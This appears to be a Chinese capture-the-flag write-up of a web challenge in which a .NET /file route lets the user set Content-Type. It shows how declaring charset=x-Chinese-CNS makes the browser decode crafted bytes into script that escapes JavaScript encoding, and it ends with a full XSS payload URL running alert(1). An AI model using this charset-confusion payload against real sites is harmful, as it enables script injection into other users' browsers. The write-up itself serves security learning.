题目实现了一个字符转换工具
在
/file
路由用户可以通过 ct 参数自定义 Content-Type
// 文件路由 - 提供静态文件服务(JS和CSS),支持内容类型验证
app.MapGet("/file", (string filename = "", string? ct = null, string? q = null) =>
{
// 根据文件名查找对应的模板文件
string? template = FindFile(filename);
if (template is null)
{
return Results.NotFound();
}
// 设置默认内容类型为纯文本
ct ??= "text/plain";
// 验证内容类型是否安全
if (!IsValidContentType(ct))
{
return Results.BadRequest("Invalid Content-Type");
}
// 替换模板中的查询参数并返回处理后的内容
string text = template
.Replace("TEMPLATE_QUERY_JS", JsEncode(q));
return Results.Text(text, contentType: ct);
});
当 HTTP 响应头或 Content-Type 指定了 charset=x-Chinese-CNS,浏览器会用 CNS 11643 这个字符集来解码响应体的字节流。CNS 11643 是一种多字节编码,很多单字节(如常见的 ASCII 范围)在 CNS 11643 下会被解码为完全不同的字符,甚至是不可见字符或特殊符号。
简单来说:
攻击者不直接写入
<script>alert(1)</script>
。而是计算:在目标字符集 CNS 11643 的编码规则下,哪些字节序列会被解码为
<script>alert(1)</script>
这些字符。攻击者将计算出的这些特定字节序列写入响应体。
JavaScript 完全允许使用特殊字符(包括 Unicode 字符)作为变量名。这是 JavaScript 语言规范的一部分。(顺便说一句,大部分语言都支持)
// 第一部分:终止字符串并注入代码
asdaÃ'??Ã:alert // CNS 11643 解码后变为:'asda'; alert(1); //
// 字节序列:E690B3 → '; C582C582E690A5 → alert(1);//
// 第二部分:创建 setTimeout 的短别名
var µ=setTimeout // µ (U+00B5) 是合法变量名
// CNS 11643 中的 E6838F 解码为 µ=
// 第三部分:使用模板字符串执行 XSS
µ`alert\u0028\u0031\u0029\u002f\u002fÐ`
// 等价于:setTimeout('alert(1)//')
// \u0028 → ( \u0031 → 1 \u0029 → ) \u002f → /
// 模板字符串 `` 可替代函数调用括号
// 第四部分:干扰性变量声明
var tag // 无实际作用,用于增加代码"合法性"
// 第五部分:完成攻击链
µ`'; // CNS 11643 中的 E68EA4 解码为 µ`
// 组合前文形成完整调用:setTimeout('alert(1)//')
/file?filename=script.js&ct=text/html;charset=x-Chinese-CNS&q=asda%E6%90%B3%C5%82%C5%82%E6%90%A5alert%0avar%20%E6%83%8FsetTimeout%0a%E6%8E%A4alert(1)//%E6%92%9F%0avar%20tag%0a%E6%8E%A4
此有效负载经过下面这段代码将截断原有代码
// 替换模板中的查询参数并返回处理后的内容
string text = template
.Replace("TEMPLATE_QUERY_JS", JsEncode(q));